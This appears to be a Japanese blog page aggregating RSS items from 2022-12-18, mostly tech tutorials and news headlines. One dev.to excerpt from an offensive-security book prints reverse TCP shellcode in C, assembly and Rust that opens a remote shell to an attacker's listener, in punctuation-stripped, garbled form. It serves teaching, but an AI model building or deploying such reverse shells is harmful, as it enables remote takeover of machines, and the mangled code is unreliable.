投稿時間:2022-12-18 18:23:43 RSSフィード2022-12-18 18:00 分まとめ(27件)

カテゴリー等 サイト名等 記事タイトル・トレンドワード等 リンクURL 頻出ワード・要約等/検索ボリューム 登録日
python Pythonタグが付けられた新着投稿 - Qiita Vonageを用いてFacebook Messengerにメッセージを送る(Python3.9、Windows 10) https://qiita.com/SatoshiGachiFujimoto/items/1a02d75ebd63afee9c0d facebookmessenger 2022-12-18 17:57:09
python Pythonタグが付けられた新着投稿 - Qiita Pipelineの使い方 https://qiita.com/Yama3151/items/78e0cb5d298e0e28c418 estimato 2022-12-18 17:52:02
python Pythonタグが付けられた新着投稿 - Qiita Ren'Pyで制作したゲームをDeepL API x Pythonで自動翻訳する https://qiita.com/salt_crab/items/755cc99f63ed87a98ff3 deeplapixpython 2022-12-18 17:13:02
AWS AWSタグが付けられた新着投稿 - Qiita SageMakerを使ってDeepRacerのモデルを学習してみた https://qiita.com/tomoyukikobori/items/e2ecaf471f95a2b2e9ae deepracer 2022-12-18 17:21:37
Docker dockerタグが付けられた新着投稿 - Qiita EC-CUBE 4系のシステム要件を(ほぼ)全て満たすローカル環境構築用のプロジェクトをDocker Composeで作成してみた https://qiita.com/itaboo_1014/items/36347fe8817644ecb43b dockercompose 2022-12-18 17:48:42
Docker dockerタグが付けられた新着投稿 - Qiita 初心者がDockerを学ぶ -Part1- https://qiita.com/Shiroinu716/items/6e8161123c00540757bc docker 2022-12-18 17:46:02
Docker dockerタグが付けられた新着投稿 - Qiita コンテナ内のGUIアプリケーションのレンダリングをホスト側のXサーバーで実現させてみる https://qiita.com/GORO_Neko/items/8b97ebfc14eae8c48a95 goroneko 2022-12-18 17:35:25
golang Goタグが付けられた新着投稿 - Qiita hugo-academicでポートフォリオを作成する https://qiita.com/junffy/items/3188671d02a771920fd7 githubpages 2022-12-18 17:45:01
海外TECH DEV Community Advanced shellcode in Rust https://dev.to/sylvainkerkour/advanced-shellcode-in-rust-26be Advanced shellcode in RustAfter seeing how to craft a shellcode in Rust and how to execute it it s time to build a more advanced shellcode in Rust too to understand where a high level language really shines A reverse TCP shellcode establishes a TCP connection to a server spawns a shell and forward STDIN STOUT and STDERR to the TCP stream It allows an attacker with a remote exploit to take control of a machine This post is an excerpt from my book Black Hat RustHere is what it looks like in C include lt sys types h gt include lt sys socket h gt include lt netinet in h gt include lt arpa inet h gt include lt unistd h gt void main int sock socket AF INET SOCK STREAM struct sockaddr in sin sin sin family AF INET sin sin port htons inet pton AF INET amp sin sin addr s addr connect sock struct sockaddr amp sin sizeof struct sockaddr in dup sock STDIN FILENO dup sock STDOUT FILENO dup sock STDERR FILENO char argv bin sh NULL execve argv argv NULL And here is its assembly equivalent that I found on the internet xor rdx rdxmov rsi mov rdi mov rax syscallpush xf xfmov bx xaf xfapush bxmov bx xpush bxmov rsi rspmov rdx xmov rdi raxpush raxmov rax syscallpop rdimov rsi mov rax xsyscalldec rsimov rax xsyscalldec rsimov rax xsyscallpush xfpush xefmov rdi rspxor rdx rdxpush rdxpush rdimov rsi rspmov rax syscallI think I don t need further explanations about why a higher level language is needed for advanced shellcodes Without further ado let s start to port it to Rust First our constants ch reverse tcp src main rsconst PORT u xAF const IP u xf const SYS DUP usize const SYS SOCKET usize const SYS CONNECT usize const SYS EXECVE usize const AF INET usize const SOCK STREAM usize const IPPROTO IP usize const STDIN usize const STDOUT usize const STDERR usize Then the sockaddr in struct copied from lt netinet in h gt repr C struct sockaddr in sin family u sin port u sin addr in addr sin zero u repr C struct in addr s addr u And finally logic of our program which take some parts of the shell shellcode no mangle fn start gt let shell amp str bin sh x let argv const amp str amp shell core ptr null let socket addr sockaddr in sin family AF INET as u sin port PORT sin addr in addr s addr IP sin zero initialize an emtpy array let socket addr size core mem size of lt sockaddr in gt unsafe let socket fd syscall SYS SOCKET AF INET SOCK STREAM IPPROTO IP syscall SYS CONNECT socket fd amp socket addr as const sockaddr in as usize socket addr size as usize syscall SYS DUP socket fd STDIN syscall SYS DUP socket fd STDOUT syscall SYS DUP socket fd STDERR syscall SYS EXECVE shell as ptr as usize argv as ptr as usize loop Way more digest isn t it Let s try it In shell nc vlnp Listening on In shell make run tcpAnd Bingo We have our remote shell The code is on GitHubAs usual you can find the code on GitHub github com skerkour black hat rust please don t forget to star the repo Want to learn more Rust Offensive Security and Applied Cryptography Take a look at my book Black Hat Rust where among other things you will learn how to craft more advanced shellcodes with Rust 2022-12-18 08:54:13
海外TECH DEV Community TypeScript Lambda with cdktf https://dev.to/aws-builders/typescript-lambda-with-cdktf-51g3 TypeScript Lambda with cdktfHi In this blog post I want to briefly explain what cdktf is and how you can use it to create a TypeScript Lambda The motivation for this came from a StackOverflow post What is cdktf The Cloud Development Kit for Terraform cdktf is a toolkit for building and managing cloud infrastructure like AWS or Azure with Terraform It allows you to define the infrastructure using a programming language like TypeScript or Python Setup cdktfYou can find all the code in my repository here However I ll briefly describe how the repository was created Initialize your cdktf repo with cdktf init template typescript cdktf provider add aws gt Optionally you can add prettier and linter In most of my projects I use these because they allow me to develop quickly without having to worry about formatting I use the Community Terraform Lambda Module to define the lambda It allows me to define a lambda in just a few lines that are configured with a role and can also be easily extended with policies The cool thing is that cdktf supports a type import To do this simply add the following module to the cdktf json file terraformModules name lambda source terraform aws modules lambda aws version gt Then the command cdktf get is executed cdktf getNow the module can be used in the cdktf code import lambda from gen modules lambda If lambda has its own dependencies they still need to be installed with cd src lambdanpm installDeploy the cdktf stack with cdktf deploy CodeThe lambda can then be integrated into main ts for example import NodejsFunction from constructs nodejs function class MyStack extends TerraformStack constructor scope Construct name string super scope name const code new NodejsFunction this code path path join dirname lambda filter aurora ts new Lambda this FilterAuroraEventsLambda functionName filter aurora handler filter aurora handler runtime nodejs x sourcePath code bundledPath timeout attachPolicyStatements true policyStatements kms effect Allow actions resources s effect Allow actions s resources const app new App new MyStack app cdktf lambda app synth So I use the custom construct NodejsFunction to bundle the code from TypeScript into JavaScript and show the lambda where to find the bundled JavaScript code The NodejsFunction Construct looks like that import AssetType TerraformAsset from cdktf import Construct from constructs import buildSync from esbuild import as path from path export interface NodejsFunctionProps readonly path string const bundle workingDirectory string entryPoint string gt buildSync entryPoints entryPoint platform node target es bundle true format cjs sourcemap external outdir dist absWorkingDir workingDirectory return path join workingDirectory dist export class NodejsFunction extends Construct public readonly asset TerraformAsset public readonly bundledPath string constructor scope Construct id string props NodejsFunctionProps super scope id const workingDirectory path resolve path dirname props path const distPath bundle workingDirectory path basename props path this bundledPath path join distPath path basename props path ts js this asset new TerraformAsset this lambda asset path distPath type AssetType ARCHIVE As can be seen esbuild bundles the TypeScript code to JavaScript code every time cdktf deploy is executed ConclusionBuilding TypeScript lambdas with cdktf require a bit more effort compared to aws cdk TypeScript lambdas Still that effort is kept in check and I ve shown you how to do it here If you found the post helpful please let me know Ich liebe es an Open Source Projekten zu arbeiten Viele Dinge kannst du bereits frei nutzen auf github com mmuller Wenn du meine Arbeit dort und meine Blog Posts toll findest denke doch bitte darüber nach mich zu unterstützen I love to work on Open Source projects A lot of my stuff you can already use on If you like my work there and my blog posts please consider supporting me on the ORAnd don t forget to visit my site 2022-12-18 08:49:33
海外TECH DEV Community How to Host your personal portfolio Website on Netlify? https://dev.to/darkxenium/how-to-host-your-personal-portfolio-website-on-netlify-i13 How to Host your personal portfolio Website on Netlify To host a website on Netlify you will need to follow these steps Sign up for a Netlify account You can do this by visiting the Netlify website and clicking on the Sign Up button Connect your Git repository Netlify can deploy sites from a variety of Git providers including GitHub GitLab and Bitbucket You will need to authorize Netlify to access your repository and select the repository that contains your site s code Configure your build settings Netlify will automatically detect the build command and output directory for your site but you can override these settings if needed Deploy your site Once you have configured your build settings click the Deploy site button to deploy your site to Netlify The deployment process may take a few minutes depending on the size of your site Set up a custom domain optional If you want to use a custom domain for your site you can do so by adding a custom domain to your Netlify account and updating your DNS settings to point to the Netlify servers Here s My portfolio Website which I created using React and added animation using Framer motion Have a look That s it Your site should now be live on the web hosted by Netlify If you have any questions or run into any issues along the way don t hesitate to reach out to the Netlify support team for assistance 2022-12-18 08:43:34
海外ニュース Japan Times latest articles Miho Takagi claims third 1,500-meter World Cup win of season https://www.japantimes.co.jp/sports/2022/12/18/more-sports/winter-sports-more-sports/takagi-wc-1500-gold/ world 2022-12-18 17:25:59
海外ニュース Japan Times latest articles Fifteen-year-old Mari Fukada wins first World Cup event in big air https://www.japantimes.co.jp/sports/2022/12/18/more-sports/winter-sports-more-sports/fukada-big-air-world-cup/ Fifteen year old Mari Fukada wins first World Cup event in big airIt was a day of strong outings from Japanese snowboarders as Hinari Asanuma came fourth and Beijing Olympic bronze medalist Kokomo Murase was fifth 2022-12-18 17:19:47
ニュース BBC News - Home 1,200 troops to cover ambulance and border strikes https://www.bbc.co.uk/news/uk-64012800?at_medium=RSS&at_campaign=KARANGA action 2022-12-18 08:05:49
ニュース BBC News - Home Australia v South Africa: Hosts claim six-wicket win in first Test inside two days in Brisbane https://www.bbc.co.uk/sport/cricket/64016664?at_medium=RSS&at_campaign=KARANGA Australia v South Africa Hosts claim six wicket win in first Test inside two days in BrisbaneAustralia claim victory over South Africa inside two days of the first Test as wickets fall on the second day s play in Brisbane 2022-12-18 08:21:51
北海道 北海道新聞 遺伝情報巡る利益配分を検討 大筋合意、生物多様性COP15 https://www.hokkaido-np.co.jp/article/776891/ 利益配分 2022-12-18 17:49:00
北海道 北海道新聞 金正恩氏の宮殿訪問報じず 北朝鮮、金正日氏命日に https://www.hokkaido-np.co.jp/article/776886/ 北朝鮮メディア 2022-12-18 17:42:00
北海道 北海道新聞 深川市長選16年ぶり選挙戦 現新3氏の争い https://www.hokkaido-np.co.jp/article/776879/ 任期満了 2022-12-18 17:35:12
北海道 北海道新聞 男子の酒井根が初出場優勝 女子は稲美が連覇、中学駅伝 https://www.hokkaido-np.co.jp/article/776859/ 滋賀県希望が丘文化公園 2022-12-18 17:14:59
北海道 北海道新聞 北海道内3652人感染 10人死亡 2日ぶりに前週下回る 新型コロナ https://www.hokkaido-np.co.jp/article/776861/ 北海道内 2022-12-18 17:29:01
北海道 北海道新聞 「731部隊」証言の展示見送り 飯田市の判断に市民団体反発 https://www.hokkaido-np.co.jp/article/776874/ 太平洋戦争 2022-12-18 17:12:19
北海道 北海道新聞 道南455人感染 函館は381人 新型コロナ https://www.hokkaido-np.co.jp/article/776882/ 医療機関 2022-12-18 17:26:00
北海道 北海道新聞 女性首長半数が「性別の壁」 家族の反対、両立が課題 https://www.hokkaido-np.co.jp/article/776872/ 共同通信社 2022-12-18 17:11:18
北海道 北海道新聞 バスケ皇后杯ENEOS10連覇 連続V記録を更新 https://www.hokkaido-np.co.jp/article/776881/ eneos 2022-12-18 17:26:00
北海道 北海道新聞 東京ベイ、東京SGを破る リーグワン第1節最終日 https://www.hokkaido-np.co.jp/article/776880/ 東京 2022-12-18 17:26:00
北海道 北海道新聞 殺人容疑の長野県議除名、自民 統一選への影響を考慮 https://www.hokkaido-np.co.jp/article/776877/ 殺人容疑 2022-12-18 17:24:06
北海道 北海道新聞 防衛増税、不支持64% 内閣支持低迷、共同通信調査 https://www.hokkaido-np.co.jp/article/776878/ 世論調査 2022-12-18 17:11:00

コメント

このブログの人気の投稿

投稿時間:2021-06-17 05:05:34 RSSフィード2021-06-17 05:00 分まとめ(1274件)

投稿時間:2021-06-20 02:06:12 RSSフィード2021-06-20 02:00 分まとめ(3871件)

投稿時間:2020-12-01 09:41:49 RSSフィード2020-12-01 09:00 分まとめ(69件)